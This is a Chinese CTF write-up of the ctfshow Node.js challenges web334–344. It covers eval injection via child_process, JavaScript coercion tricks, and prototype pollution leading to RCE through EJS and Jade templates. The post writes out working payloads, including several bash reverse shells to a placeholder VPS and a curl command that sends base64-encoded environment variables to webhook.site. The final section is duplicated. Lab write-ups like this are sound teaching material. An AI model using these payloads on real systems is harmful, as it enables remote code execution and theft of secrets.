ctfshow&web入门之node.js 原型链污染
ctfshow&web入门之node.js 原型链污染
web334
下载源代码:
user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
login.js
var express = require('express');
var router = express.Router();
var users = require('../modules/user').items; //导入user.js
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
// **重点看这里,这里把小字母替换成大字母**
});
};
/* GET home page. */
router.post('/', function(req, res, next) {
res.type('html');
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router;
所以我们输入 ctfshow:123456 就能登录
web335
访问原代码,得知有接口 /?eval ,猜测是eval()函数
可以用child_process来调用API执行系统命令:
child_process 是 Node.js 的一个核心模块,用于在应用程序中创建和管理子进程,让 JavaScript 能够在服务器端执行外部命令、脚本或者进行多进程并发运算
所以,我们可以构造
/?eval=require('child_process').execSync('ls').toString()
拆解命令
详细介绍 execSync 和 exec
exec (异步) —— 就像发邮件
- 过程:你告诉 Node.js:“去帮我执行
ls,结果出来后发邮件(回调函数)告诉我。” - 执行流:Node.js 发出命令后,立即继续执行后面的代码,不会停下来等结果。
- 结果:它的返回值是一个
ChildProcess对象,里面包含进程 ID 等信息,但不包含命令的输出内容。 - 为什么在
eval中失效:eval执行完exec后,命令可能还没跑完。由于没有写回调函数处理结果,页面上什么都不会显示。
execSync (同步) —— 就像打固定电话
- 过程:你告诉 Node.js:“去帮我执行
ls,我就在这里等着,你不拿回来结果我不挂电话。” - 执行流:Node.js 会阻塞(暂停)后续所有代码的运行,直到系统命令执行完毕并返回数据。
- 结果:它的返回值直接就是命令的输出结果(以 Buffer 格式)。
- 为什么在
eval中好用:eval会等待execSync完成,并把拿到的结果直接输出到响应中,让你在浏览器里直接看到 ls.
toString() 的作用
execSync 返回的数据类型不是字符串,而是 Buffer(二进制缓冲区)。
- 如果你不加
toString(),输出到页面上的可能是类似<Buffer 66 6c 61 67 7b ...>这样的十六进制数据。 - 调用
toString()会将这些二进制字节转换成我们能看懂的 UTF-8 字符串
其他利用方式:
1.spawnSync
require('child_process').spawnSync('cat', ['fl00g.txt']).stdout.toString() //不需要启动shell,直接开启进程
2.绕过require
process.mainModule.require('child_process').execSync('cat fl00g.txt').toString()
3.反弹
require('child_process').exec('bash -i >& /dev/tcp/你的IP/端口 0>&1')
4.读目录+读文件(利用Node.js 原生的 fs 模块)
require('fs').readdirSync('.').toString()
require('fs').readFileSync('fl00g.txt').toString()
web336
这题和上一题没什么区别,不过 execSync 没用了
这次我们先读源代码看看
介绍两个变量,__filename和__dirname
__filename:获取当前模块文件的完整绝对路径文件名
__dirname:获取当前文件所在目录的完整目录名
我们直接:/?eval=__filename
读到当前文章路径/app/routes/index.js之后,用fs模块的readFileSync()来读取文件
/?eval=require('fs').readFileSync('/app/routes/index.js').toString()
得出源代码:
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var evalstring = req.query.eval;
if (typeof(evalstring) == 'string' && evalstring.search(/exec|load/i) > 0) {
res.render('index', { title: 'tql' });
} else {
res.render('index', { title: eval(evalstring) });
}
});
module.exports = router;
之后,我们可以采用字符串拼接,比如:/?eval=require(‘child_process’)‘exe’%2B’cSync’.toString()
/?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString()
或者直接读文件:
/?eval=require('fs').readdirSync('.')
/?eval=require('fs').readFileSync('fl001g.txt')
web337
题目给出了源代码:
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
我们重点看这个函数:a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)
我们先介绍一下 JavaScript 的隐形转化
1.著名的 [ ] 与 ! 转化(JSFuck 基础)
利用 []、!、+,你可以仅用 6 个字符构造出任何 JavaScript 代码。
[]变字符串:[] + []会得到空字符串""。- 强制转布尔:
![]是false,而!![]是true。 - 变数字:
+[]是0,+![]是0,+!![]是1。 - 获取字符:
(![] + [])得到字符串"false"。(![] + [])[0]得到字符"f"。([][[]] + [])得到字符串"undefined"(因为访问空数组不存在的索引)。
2.双等号 == 的宽松比较
这是最容易出 Bug 也最容易利用的地方。== 会在比较前强制转换类型,而 ===(全等)不会。
0 == "0":true(字符串转数字)。0 == []:true(数组转原始值""再转数字0)。false == "0":true。null == undefined:true
3.字符串拼接 vs 数学运算
- 加号
+的双重身份:- 只要有一边是字符串,就会变成 字符串拼接。
1 + "1" = "11"['1']+"aaa" = "1aaa"//JavaScript 引擎会尝试把数组['1']转换成原始值,默认为[‘1’].toString(),结果为'1'
- 减号/乘号
-,\*,/:- 它们是纯粹的数学运算符,会将两边都强制转为 数字。
"10" - 1 = 9"10" * "2" = 20
所以我们构造 ?a[]=1&b=1 就能拿到flag了
web338
看看源码,先看app.js,没找到有用的
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
去看看index.js和login.js
在login.js的源代码中可以看到:
var secert = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
我们要修改secret的ctfshow属性来得到flag,但secret属性值为空
utils.copy(target, source);:这是一个逻辑指令,意为将 source(源对象)的所有属性复制到 target(目标对象)中。
由于copy竟然跟merge方法一模一样,因此这题可以用原型链污染来做,传入属性__proto__来污染Object原型
function merge(target, source) {
for (let key in source) {
// 检查 key 是否同时存在于源对象和目标对象中
if (key in source && key in target) {
// 如果两个值都是对象,则递归进行深度合并
merge(target[key], source[key]);
} else {
// 否则,直接将源对象的属性赋值给目标对象
target[key] = source[key];
}
}
}
我们先抓个包
之后修改键值对为{"__proto__":{"ctfshow":"36dboy"}},就成功拿到flag了
原型链被污染之后,其他的代码块功能也可能会出错,post请求会报错,所以一旦写错就要重启容器
web339
打开app.js,可以看到里面引入了三个路由
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');
在login.js中
var flag='flag_here';
var secert = {};
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
此时flag为题目后台的flag,我们不知道所以不能像上题这样做
在app.js中
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
Function(query):创建一个匿名函数,其参数名为 query 的值。
(...)(query):立即执行这个函数,并把 query 作为参数传入。
因为在正常的 Node.js 文件中,可以直接使用 require()。但在通过 new Function() 或 Function() 动态创建的函数内部,require 是不存在的。但 process 变量通常是全局可用的
process.mainModule 指向启动程序的主模块。
process.mainModule.constructor 实际上就是 Node.js 内部的 Module 类。
_load 函数:这是 require 底层真正的实现函数。通过调用它,我们绕过了“局部变量 require 不存在”的限制,强行加载了 child_process 模块。
所以,我们构造命令
1.反弹
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/个人vps公网网址/端口 0>&1\"')"}}
2.外带(没有成功,估计是没有curl命令)
{
"__proto__": {
"query": "return global.process.mainModule.constructor._load('child_process').execSync('curl -X POST -d \"$(env | base64 -w 0)\" https://webhook.site/你的唯一ID')"
}
}
之后访问 http://靶场/api (目的是为了调用query函数),在hackbar发送post请求,就可以在服务器利用反弹了
flag在环境变量env里
注意:反弹的端口是固定的,在自己的服务器上写好的,随便指定端口可能不行,具体看服务器配置
web340
分析源码,还是这几个文件:
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');
api.js和上题相同,打开login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
此时,我们再采用上一题的做法,就不行了
为什么一个 __proto__ 不行?
如果你发送 {"__proto__": {"query": "..."}}:
utils.copy会尝试将req.body.__proto__(即你的 Payload)复制到user.userinfo.__proto__上。- 关键点:
user.userinfo是一个特定函数的实例。user.userinfo.__proto__指向的是那个匿名函数的原型(anonymous function.prototype),而不是全局的Object.prototype。 - 这意味着你的污染被局限在了
user.userinfo这一层级,并没有影响到全局。当api.js尝试创建一个新对象或调用Function时,它访问的是全局Object.prototype,那里依然是干净的。
所以,我们应该多使用一个proto :{“proto”: {“proto”: {“query”: “…”}}}
构造:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}
之后在环境变量里拿到flag
web341
看源代码,发现api.js消失了,login.js也没有污染。我们看看login.js
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
但是在 app.js 中,发现其包含了ejs,且引擎设置为ejs
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('html', require('ejs').__express);
app.set('view engine', 'html');
首先介绍一下漏洞函数:**generateSource()
漏洞位于 EJS 内部的 generateSource 函数(针对 3.1.6 版本)。它会生成函数代码以构建真正的渲染函数。
在生成过程中,如果用户通过 options 对象传递了 outputFunctionName,代码会进行如下处理:
if (opts.outputFunctionName) {
// 直接将用户输入拼接到代码字符串中!
prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
}
查找属性:EJS 尝试读取 options.outputFunctionName。
原型链回溯:由于 options 对象本身没有这个属性,它会顺着原型链往上找,最终在 Object.prototype 找到了攻击者刚才“埋”进去的代码。
动态拼接:EJS 会把这个属性的值直接拼接到生成的 JavaScript 函数代码字符串中。
执行:EJS 使用 new Function() 执行生成的字符串,攻击者的恶意代码(如反弹 Shell)随之运行
所以我们构造:
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"');var __tmp2"}}}
之后在环境变量拿到flag
web342
总体代码和上一题差不多,但是app.js中,模版引擎从ejs换成了jade
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.engine('jade', require('jade').__express);
app.set('view engine', 'jade');
login.js和上题一样
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
在 Jade 的源码中,如果 compileDebug 选项为 true,编译器会在生成的函数字符串中加入调试信息(例如当前行号)。
一段典型的 Jade 编译逻辑如下:
if (compileDebug) {
// 引擎会尝试获取 line 属性并拼接到渲染函数中
buf.push('jade_line = ' + line + ';');
}
如果攻击者通过原型链污染了 Object.prototype.line,那么 line 的内容就会被原封不动地拼接到渲染函数中。如果 line 包含一段恶意的 JS 代码,这段代码就会在渲染模板时执行。
我们尝试构造:
{
"__proto__": {
"compileDebug": true,
"self": true,
"line": " process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/攻击者IP/端口 0>&1\"')"
}
}
结果报错:TypeError: this[(“visit” + node.type)] is not a function
由于我们的代码中没有节点 node.type ,jade模版找不到,所以引发报错
所以,我们要在代码前面强制指定了 "type": "Block"。Jade 编译器内部刚好有一个合法的方法叫 visitBlock。
- 当编译器执行
this["visit" + node.type]时,实际上是在执行this["visitBlock"]。 - 这是一个有效的函数,程序得以继续向下运行,直到触发你的恶意代码。
通过设置 "nodes": ""(空字符串),骗过了编译器的递归逻辑。 通常 visitBlock 会尝试遍历 nodes 数组。如果不提供 nodes,它可能会报错;而提供一个空值,编译器会认为这个“块”是空的,从而直接跳过子节点的处理,安全地过渡到你的 line 注入点。
所以我们构造:
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"')"}}}
之后在环境变量就能找到flag,记得以application/json的形式发送
web343
这题和上一题差不多,一样的,后台只过滤了Test,没什么作用,像上题一样解答即可
web344
最后一题
分析源代码:
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
可以看到它过滤了8c、2c和逗号,然后要求GET传入参数query
query还要满足要求:query.name===‘admin’&&query.password===‘ctfshow’&&query.isVIP===true
所以正常情况下,我们要传入:?query={“name”:“admin”,“password”:“ctfshow”,“isVIP”:true}
url编码之后:?query=%7B%22name%22%3A%22admin%22%2C%22password%22%3A%22ctfshow%22%2C%22isVIP%22%3Atrue%7D
此时2c(逗号)就出现了,就会被ban
我们就可以利用Node.js的特性:多个同名参数会被其放入数组中,然后JSON.parse 会将数组的字符串元素拼接成一个完整字符串再解析
| 阶段 | 数据状态 | 安全检查/处理 |
|---|---|---|
| 原始请求 | ?query=A&query=B&query=C |
无 , 或 2c,通过正则检查 |
| 参数解析 | req.query.query = [A, B, C] |
Node.js 将重名参数转为数组 |
| 隐式转换 | [A, B, C] -> "A,B,C" |
关键点:数组转换自动补回了被禁用的逗号 |
| JSON解析 | JSON.parse("A,B,C") |
成功还原为 Object,满足 isVIP===true |
所以我们构造:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
就能拿到flag
Atrue%7D
此时2c(逗号)就出现了,就会被ban
我们就可以利用Node.js的特性:多个同名参数会被其放入数组中,然后JSON.parse 会将数组的字符串元素拼接成一个完整字符串再解析
| 阶段 | 数据状态 | 安全检查/处理 |
|---|---|---|
| 原始请求 | ?query=A&query=B&query=C |
无 , 或 2c,通过正则检查 |
| 参数解析 | req.query.query = [A, B, C] |
Node.js 将重名参数转为数组 |
| 隐式转换 | [A, B, C] -> "A,B,C" |
关键点:数组转换自动补回了被禁用的逗号 |
| JSON解析 | JSON.parse("A,B,C") |
成功还原为 Object,满足 isVIP===true |
所以我们构造:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
就能拿到flag
更多推荐





所有评论(0)